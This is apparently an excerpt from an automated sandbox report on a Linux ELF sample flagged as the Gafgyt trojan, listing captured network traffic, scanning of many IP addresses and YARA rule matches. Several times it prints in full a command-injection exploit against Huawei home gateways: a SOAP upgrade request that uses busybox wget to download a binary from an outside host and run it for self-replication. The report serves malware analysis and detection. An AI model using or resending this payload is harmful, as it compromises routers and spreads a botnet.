xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
              Source: unknownTCP traffic detected without corresponding DNS query: 197.177.188.105
              Source: unknownTCP traffic detected without corresponding DNS query: 41.59.173.161
              Source: unknownTCP traffic detected without corresponding DNS query: 157.84.173.102
              Source: unknownTCP traffic detected without corresponding DNS query: 157.172.201.119
              Source: unknownTCP traffic detected without corresponding DNS query: 41.88.124.244
              Source: unknownTCP traffic detected without corresponding DNS query: 197.234.113.162
              Source: unknownTCP traffic detected without corresponding DNS query: 41.240.223.204
              Source: unknownTCP traffic detected without corresponding DNS query: 197.159.13.122
              Source: unknownTCP traffic detected without corresponding DNS query: 41.187.14.3
              Source: unknownTCP traffic detected without corresponding DNS query: 157.109.52.196
              Source: unknownTCP traffic detected without corresponding DNS query: 41.28.198.60
              Source: unknownTCP traffic detected without corresponding DNS query: 157.48.46.102
              Source: unknownTCP traffic detected without corresponding DNS query: 41.213.200.22
              Source: unknownTCP traffic detected without corresponding DNS query: 157.108.205.143
              Source: unknownTCP traffic detected without corresponding DNS query: 148.94.3.83
              Source: unknownTCP traffic detected without corresponding DNS query: 197.37.53.79
              Source: unknownTCP traffic detected without corresponding DNS query: 157.156.162.199
              Source: unknownTCP traffic detected without corresponding DNS query: 157.205.17.4
              Source: unknownTCP traffic detected without corresponding DNS query: 41.173.117.4
              Source: unknownTCP traffic detected without corresponding DNS query: 197.35.113.47
              Source: unknownTCP traffic detected without corresponding DNS query: 41.18.245.29
              Source: unknownTCP traffic detected without corresponding DNS query: 41.91.82.148
              Source: unknownTCP traffic detected without corresponding DNS query: 157.249.225.91
              Source: unknownTCP traffic detected without corresponding DNS query: 157.38.65.127
              Source: unknownTCP traffic detected without corresponding DNS query: 153.6.146.12
              Source: unknownTCP traffic detected without corresponding DNS query: 41.165.42.202
              Source: unknownTCP traffic detected without corresponding DNS query: 221.4.37.244
              Source: unknownTCP traffic detected without corresponding DNS query: 207.233.206.196
              Source: unknownTCP traffic detected without corresponding DNS query: 76.155.143.172
              Source: unknownTCP traffic detected without corresponding DNS query: 41.85.67.18
              Source: unknownTCP traffic detected without corresponding DNS query: 197.222.143.196
              Source: unknownTCP traffic detected without corresponding DNS query: 41.115.11.233
              Source: unknownTCP traffic detected without corresponding DNS query: 157.60.205.239
              Source: unknownTCP traffic detected without corresponding DNS query: 197.100.148.206
              Source: unknownTCP traffic detected without corresponding DNS query: 62.145.68.134
              Source: unknownTCP traffic detected without corresponding DNS query: 197.228.77.157
              Source: unknownTCP traffic detected without corresponding DNS query: 180.9.6.101
              Source: unknownTCP traffic detected without corresponding DNS query: 61.98.120.1
              Source: unknownTCP traffic detected without corresponding DNS query: 197.20.252.229
              Source: unknownTCP traffic detected without corresponding DNS query: 38.159.96.79
              Source: unknownTCP traffic detected without corresponding DNS query: 157.227.185.30
              Source: unknownTCP traffic detected without corresponding DNS query: 197.0.84.190
              Source: unknownTCP traffic detected without corresponding DNS query: 197.177.127.55
              Source: unknownTCP traffic detected without corresponding DNS query: 197.88.204.252
              Source: unknownTCP traffic detected without corresponding DNS query: 197.95.151.221
              Source: unknownTCP traffic detected without corresponding DNS query: 41.149.105.154
              Source: unknownTCP traffic detected without corresponding DNS query: 197.89.253.13
              Source: unknownTCP traffic detected without corresponding DNS query: 197.25.121.167
              Source: unknownTCP traffic detected without corresponding DNS query: 197.6.247.30
              Source: unknownTCP traffic detected without corresponding DNS query: 157.33.174.150
              Source: 6lqMB7o2Ts.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: 6lqMB7o2Ts.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
              Source: unknownHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: unknownDNS traffic detected: queries for: BC@^]B

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 6lqMB7o2Ts.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
              Source: 6lqMB7o2Ts.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
              Source: ELF static info symbol of initial sample.symtab present: no
